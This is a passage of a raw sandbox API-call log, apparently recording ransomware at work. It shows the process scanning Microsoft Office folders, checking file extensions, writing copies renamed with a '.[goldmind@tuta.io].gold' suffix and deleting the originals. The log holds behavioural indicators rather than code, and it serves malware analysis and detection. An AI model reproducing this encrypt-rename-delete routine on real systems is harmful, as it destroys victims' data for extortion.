53 [0109.628] lstrlenW (lpString=".doc") returned 4 [0109.628] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".docx") returned 5 [0109.628] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0109.628] lstrlenW (lpString=".pdf") returned 4 [0109.628] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".xls") returned 4 [0109.628] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".xlsx") returned 5 [0109.628] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0109.628] lstrlenW (lpString=".ppt") returned 4 [0109.628] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".zip") returned 4 [0109.628] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".rar") returned 4 [0109.629] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.629] lstrlenW (lpString=".bz2") returned 4 [0109.629] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.629] lstrlenW (lpString=".7z") returned 3 [0109.629] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.629] lstrlenW (lpString=".dbf") returned 4 [0109.629] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.629] lstrlenW (lpString=".1cd") returned 4 [0109.629] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.629] lstrlenW (lpString=".jpg") returned 4 [0109.629] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.629] lstrcmpiW (lpString1=".ACCDU", lpString2=".gold") returned -1 [0109.629] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0109.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.710] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6250496) returned 1 [0109.710] CloseHandle (hObject=0x3b4) returned 1 [0109.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0x20 [0109.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0109.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.732] lstrlenW (lpString=".doc") returned 4 [0109.732] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".docx") returned 5 [0109.733] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0109.733] lstrlenW (lpString=".pdf") returned 4 [0109.733] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".xls") returned 4 [0109.733] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".xlsx") returned 5 [0109.733] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0109.733] lstrlenW (lpString=".ppt") returned 4 [0109.733] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".zip") returned 4 [0109.733] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".rar") returned 4 [0109.733] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".bz2") returned 4 [0109.733] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".7z") returned 3 [0109.733] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".dbf") returned 4 [0109.733] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".1cd") returned 4 [0109.733] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".jpg") returned 4 [0109.733] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".doc") returned 4 [0109.733] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".docx") returned 5 [0109.733] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0109.733] lstrlenW (lpString=".pdf") returned 4 [0109.733] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".xls") returned 4 [0109.733] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".xlsx") returned 5 [0109.733] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0109.733] lstrlenW (lpString=".ppt") returned 4 [0109.733] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".zip") returned 4 [0109.733] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".rar") returned 4 [0109.733] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".bz2") returned 4 [0109.733] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0109.733] lstrlenW (lpString=".7z") returned 3 [0109.733] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0109.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.733] lstrlenW (lpString=".dbf") returned 4 [0109.733] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0109.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.734] lstrlenW (lpString=".1cd") returned 4 [0109.734] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0109.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0109.734] lstrlenW (lpString=".jpg") returned 4 [0109.734] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0109.734] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0109.734] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0109.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0109.745] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=95104) returned 1 [0109.745] CloseHandle (hObject=0x198) returned 1 [0109.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll")) returned 0x20 [0109.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".doc") returned 4 [0109.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".docx") returned 5 [0109.751] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0109.751] lstrlenW (lpString=".pdf") returned 4 [0109.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".xls") returned 4 [0109.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".xlsx") returned 5 [0109.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0109.751] lstrlenW (lpString=".ppt") returned 4 [0109.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".zip") returned 4 [0109.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".rar") returned 4 [0109.751] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".bz2") returned 4 [0109.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.751] lstrlenW (lpString=".7z") returned 3 [0109.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".dbf") returned 4 [0109.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".1cd") returned 4 [0109.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".jpg") returned 4 [0109.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.751] lstrlenW (lpString=".doc") returned 4 [0109.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".docx") returned 5 [0109.751] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0109.751] lstrlenW (lpString=".pdf") returned 4 [0109.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".xls") returned 4 [0109.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.751] lstrlenW (lpString=".xlsx") returned 5 [0109.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0109.751] lstrlenW (lpString=".ppt") returned 4 [0109.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.752] lstrlenW (lpString=".zip") returned 4 [0109.752] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.752] lstrlenW (lpString=".rar") returned 4 [0109.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.752] lstrlenW (lpString=".bz2") returned 4 [0109.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.752] lstrlenW (lpString=".7z") returned 3 [0109.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.752] lstrlenW (lpString=".dbf") returned 4 [0109.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.752] lstrlenW (lpString=".1cd") returned 4 [0109.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0109.752] lstrlenW (lpString=".jpg") returned 4 [0109.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.752] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.752] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0109.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0109.752] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7168) returned 1 [0109.753] CloseHandle (hObject=0x380) returned 1 [0109.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll")) returned 0x20 [0109.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0109.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0109.753] lstrlenW (lpString=".doc") returned 4 [0109.753] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString=".docx") returned 5 [0109.753] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0109.753] lstrlenW (lpString=".pdf") returned 4 [0109.753] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString=".xls") returned 4 [0109.753] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString=".xlsx") returned 5 [0109.753] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0109.753] lstrlenW (lpString=".ppt") returned 4 [0109.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0109.753] lstrlenW (lpString=".zip") returned 4 [0109.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString=".rar") returned 4 [0109.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.753] lstrlenW (lpString=".bz2") returned 4 [0109.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.753] lstrlenW (lpString=".7z") returned 3 [0109.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0109.753] lstrlenW (lpString=".dbf") returned 4 [0109.753] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.756] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.756] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.932] GetLastError () returned 0x0 [0109.932] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x30a, lpOverlapped=0x0) returned 1 [0109.942] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x310, lpOverlapped=0x0) returned 1 [0109.943] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.943] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0109.943] SetEndOfFile (hFile=0x3a8) returned 1 [0109.943] CloseHandle (hObject=0x3a8) returned 1 [0109.943] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.943] SetEndOfFile (hFile=0x380) returned 1 [0109.945] CloseHandle (hObject=0x380) returned 1 [0109.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 1 [0109.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".doc") returned 4 [0109.996] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString=".docx") returned 5 [0109.996] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0109.996] lstrlenW (lpString=".pdf") returned 4 [0109.996] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".xls") returned 4 [0109.996] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".xlsx") returned 5 [0109.996] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0109.996] lstrlenW (lpString=".ppt") returned 4 [0109.996] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".zip") returned 4 [0109.996] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".rar") returned 4 [0109.996] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".bz2") returned 4 [0109.996] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString=".7z") returned 3 [0109.996] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".dbf") returned 4 [0109.996] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".1cd") returned 4 [0109.996] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".jpg") returned 4 [0109.996] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".doc") returned 4 [0109.996] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString=".docx") returned 5 [0109.996] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0109.996] lstrlenW (lpString=".pdf") returned 4 [0109.996] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".xls") returned 4 [0109.996] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".xlsx") returned 5 [0109.996] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0109.996] lstrlenW (lpString=".ppt") returned 4 [0109.996] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.996] lstrlenW (lpString=".zip") returned 4 [0109.996] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".rar") returned 4 [0109.996] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.996] lstrlenW (lpString=".bz2") returned 4 [0109.996] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.996] lstrlenW (lpString=".7z") returned 3 [0109.997] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.997] lstrlenW (lpString=".dbf") returned 4 [0109.997] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.997] lstrlenW (lpString=".1cd") returned 4 [0109.997] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0109.997] lstrlenW (lpString=".jpg") returned 4 [0109.997] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.997] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.997] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0109.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0110.085] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1667960) returned 1 [0110.085] CloseHandle (hObject=0x230) returned 1 [0110.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll")) returned 0x20 [0110.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0110.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.085] lstrlenW (lpString=".doc") returned 4 [0110.085] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.085] lstrlenW (lpString=".docx") returned 5 [0110.085] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0110.085] lstrlenW (lpString=".pdf") returned 4 [0110.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.085] lstrlenW (lpString=".xls") returned 4 [0110.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.085] lstrlenW (lpString=".xlsx") returned 5 [0110.085] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0110.086] lstrlenW (lpString=".ppt") returned 4 [0110.086] lstrcmpiW 